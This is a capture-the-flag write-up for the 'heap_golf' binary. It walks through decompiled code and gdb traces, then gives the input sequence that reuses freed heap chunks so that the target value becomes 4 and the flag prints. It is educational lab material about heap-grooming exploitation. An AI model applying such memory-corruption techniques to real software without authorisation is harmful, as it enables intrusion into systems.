heap_golf

The goal of this challenge is to print the contents of flag.txt, not pop a shell.

Let's take a look at the binary:

$	file heap_golf1 
heap_golf1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=ea4a50178915e1adee07a464e42cec0d6f9a9f62, not stripped
$ pwn checksec heap_golf1 
[*] '/Hackery/pod/modules/heap_grooming/swamp19_heapgolf/heap_golf1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$	./heap_golf1 
target green provisioned.
enter -1 to exit simulation, -2 to free course.
Size of green to provision: 32
Size of green to provision: -2
target green provisioned.
Size of green to provision: -1

So we are dealing with a 64 bit binary that provides us with three different inputs.

Reversing


undefined8 main(void)

{
  long lVar1;
  int input;
  int *target;
  int *newPtr;
  long in_FS_OFFSET;
  int x;
  int i;
  int *ptr [50];
  char buf [8];
  long canary;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  target = (int *)malloc(0x20);
  write(0,"target green provisioned.\n",0x1a);
  x = 1;
  write(0,"enter -1 to exit simulation, -2 to free course.\n",0x30);
  do {
    write(0,"Size of green to provision: ",0x1c);
    read(1,buf,4);
    input = atoi(buf);
    if (input == -1) {
LAB_004008c3:
      if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return 0;
    }
    if (input == -2) {
      i = 0;
      while (i < x) {
        free(ptr[(long)i]);
        i = i + 1;
      }
      ptr[0] = (int *)malloc(0x20);
      write(0,"target green provisioned.\n",0x1a);
      x = 1;
    }
    else {
      newPtr = (int *)malloc((long)input);
      *newPtr = x;
      ptr[(long)x] = newPtr;
      x = x + 1;
      if (x == 0x30) {
        write(0,"You\'re too far under par.",0x19);
        goto LAB_004008c3;
      }
    }
    if (*target == 4) {
      win_func();
    }
  } while( true );
}

So we can see what's going on. This is a heap grooming challenge. It stores and array of heap pointers in ptr. The first entry in the heap pointers array is target, which we have to set equal to 0x4 without any direct way of doing so. If we input anything other than a -1 or -2, then it takes the integer value we passed it and mallocs it. It will then dereference it and set it equal to the heap pointer counter x. After that it will append it to the end of the heap pointers. If we input a -1 the binary ends. If we input a -2 it will go through and free all of the pointers, and malloc a new first pointer and reset the pointer counter x to 1.

Malloc will reuse previously freed chunks if they are the right size for performance reasons. What we can do is allocate 4 0x20 block chunks (not including the one initially allocated), and then free them. Then when we allocate 0x20 byte chunks, we will get those same chunks back in the inverse order they were freed (so the last chunk we made will be the first allocated). Then the fourth chunk we allocate will be the first chunk allocated and have the same address as target, and also have the pointer counter x written to it:

Pointers being freed in gdb (in this case it's 0x602260):

──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4007e5 <main+222>       dec    DWORD PTR [rax-0x68]
     0x4007e8 <main+225>       mov    rax, QWORD PTR [rbp+rax*8-0x1a0]
     0x4007f0 <main+233>       mov    rdi, rax
 →   0x4007f3 <main+236>       call   0x400570 <free@plt>
   ↳    0x400570 <free@plt+0>     jmp    QWORD PTR [rip+0x200aa2]        # 0x601018
        0x400576 <free@plt+6>     push   0x0
        0x40057b <free@plt+11>    jmp    0x400560
        0x400580 <write@plt+0>    jmp    QWORD PTR [rip+0x200a9a]        # 0x601020
        0x400586 <write@plt+6>    push   0x1
        0x40058b <write@plt+11>   jmp    0x400560
──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
free@plt (
   $rdi = 0x0000000000602260 → 0x0000000000000000,
   $rsi = 0x00000000ffffffda,
   $rdx = 0x8000000000000000
)
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4007e5 <main+222>       dec    DWORD PTR [rax-0x68]
     0x4007e8 <main+225>       mov    rax, QWORD PTR [rbp+rax*8-0x1a0]
     0x4007f0 <main+233>       mov    rdi, rax
 →   0x4007f3 <main+236>       call   0x400570 <free@plt>
   ↳    0x400570 <free@plt+0>     jmp    QWORD PTR [rip+0x200aa2]        # 0x601018
        0x400576 <free@plt+6>     push   0x0
        0x40057b <free@plt+11>    jmp    0x400560
        0x400580 <write@plt+0>    jmp    QWORD PTR [rip+0x200a9a]        # 0x601020
        0x400586 <write@plt+6>    push   0x1
        0x40058b <write@plt+11>   jmp    0x400560
──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
free@plt (
   $rdi = 0x0000000000602290 → 0x0000000000000001,
   $rsi = 0x0000000000602018 → 0x0000000000000000,
   $rdx = 0x0000000000602010 → 0x0000000000000100
)
──────────────────────────────────────────────────────────────────────────────────────── threads ────
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4007e5 <main+222>       dec    DWORD PTR [rax-0x68]
     0x4007e8 <main+225>       mov    rax, QWORD PTR [rbp+rax*8-0x1a0]
     0x4007f0 <main+233>       mov    rdi, rax
 →   0x4007f3 <main+236>       call   0x400570 <free@plt>
   ↳    0x400570 <free@plt+0>     jmp    QWORD PTR [rip+0x200aa2]        # 0x601018
        0x400576 <free@plt+6>     push   0x0
        0x40057b <free@plt+11>    jmp    0x400560
        0x400580 <write@plt+0>    jmp    QWORD PTR [rip+0x200a9a]        # 0x601020
        0x400586 <write@plt+6>    push   0x1
        0x40058b <write@plt+11>   jmp    0x400560
──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
free@plt (
   $rdi = 0x00000000006022c0 → 0x0000000000000002,
   $rsi = 0x0000000000602018 → 0x0000000000000000,
   $rdx = 0x0000000000602010 → 0x0000000000000200
)
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4007e5 <main+222>       dec    DWORD PTR [rax-0x68]
     0x4007e8 <main+225>       mov    rax, QWORD PTR [rbp+rax*8-0x1a0]
     0x4007f0 <main+233>       mov    rdi, rax
 →   0x4007f3 <main+236>       call   0x400570 <free@plt>
   ↳    0x400570 <free@plt+0>     jmp    QWORD PTR [rip+0x200aa2]        # 0x601018
        0x400576 <free@plt+6>     push   0x0
        0x40057b <free@plt+11>    jmp    0x400560
        0x400580 <write@plt+0>    jmp    QWORD PTR [rip+0x200a9a]        # 0x601020
        0x400586 <write@plt+6>    push   0x1
        0x40058b <write@plt+11>   jmp    0x400560
──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
free@plt (
   $rdi = 0x00000000006022f0 → 0x0000000000000003,
   $rsi = 0x0000000000602018 → 0x0000000000000000,
   $rdx = 0x0000000000602010 → 0x0000000000000300
)
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4007e5 <main+222>       dec    DWORD PTR [rax-0x68]
     0x4007e8 <main+225>       mov    rax, QWORD PTR [rbp+rax*8-0x1a0]
     0x4007f0 <main+233>       mov    rdi, rax
 →   0x4007f3 <main+236>       call   0x400570 <free@plt>
   ↳    0x400570 <free@plt+0>     jmp    QWORD PTR [rip+0x200aa2]        # 0x601018
        0x400576 <free@plt+6>     push   0x0
        0x40057b <free@plt+11>    jmp    0x400560
        0x400580 <write@plt+0>    jmp    QWORD PTR [rip+0x200a9a]        # 0x601020
        0x400586 <write@plt+6>    push   0x1
        0x40058b <write@plt+11>   jmp    0x400560
──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
free@plt (
   $rdi = 0x0000000000602320 → 0x0000000000000004,
   $rsi = 0x0000000000602018 → 0x0000000000000000,
   $rdx = 0x0000000000602010 → 0x0000000000000400
)

When they are reallocated:

──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x40084e <main+327>       mov    QWORD PTR [rbp-0x1a8], rax
     0x400855 <main+334>       mov    rax, QWORD PTR [rbp-0x1a8]
     0x40085c <main+341>       mov    edx, DWORD PTR [rbp-0x1bc]
 →   0x400862 <main+347>       mov    DWORD PTR [rax], edx
     0x400864 <main+349>       mov    eax, DWORD PTR [rbp-0x1bc]
     0x40086a <main+355>       cdqe   
     0x40086c <main+357>       mov    rdx, QWORD PTR [rbp-0x1a8]
     0x400873 <main+364>       mov    QWORD PTR [rbp+rax*8-0x1a0], rdx
     0x40087b <main+372>       add    DWORD PTR [rbp-0x1bc], 0x1
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "heap_golf1", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400862 → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 2, 0x0000000000400862 in main ()
gef➤  p $edx
$1 = 0x1
gef➤  p $rax
Breakpoint 2, 0x0000000000400862 in main ()
gef➤  p $edx
$3 = 0x2
gef➤  p $rax
$4 = 0x6022c0
Breakpoint 2, 0x0000000000400862 in main ()
gef➤  p $edx
$5 = 0x3
gef➤  p $rax
$6 = 0x602290
Breakpoint 2, 0x0000000000400862 in main ()
gef➤  p $edx
$7 = 0x4
gef➤  p $rax
$8 = 0x602260

With that last iteration, we finally write the value 0x4 to the address of target 0x602260. With that we can capture the flag.

$ /heap_golf1 
target green provisioned.
enter -1 to exit simulation, -2 to free course.
Size of green to provision: 32
Size of green to provision: 32
Size of green to provision: 32
Size of green to provision: 32
Size of green to provision: -2
target green provisioned.
Size of green to provision: 32
Size of green to provision: 32
Size of green to provision: 32
Size of green to provision: 32
flag{g0ttem_b0is}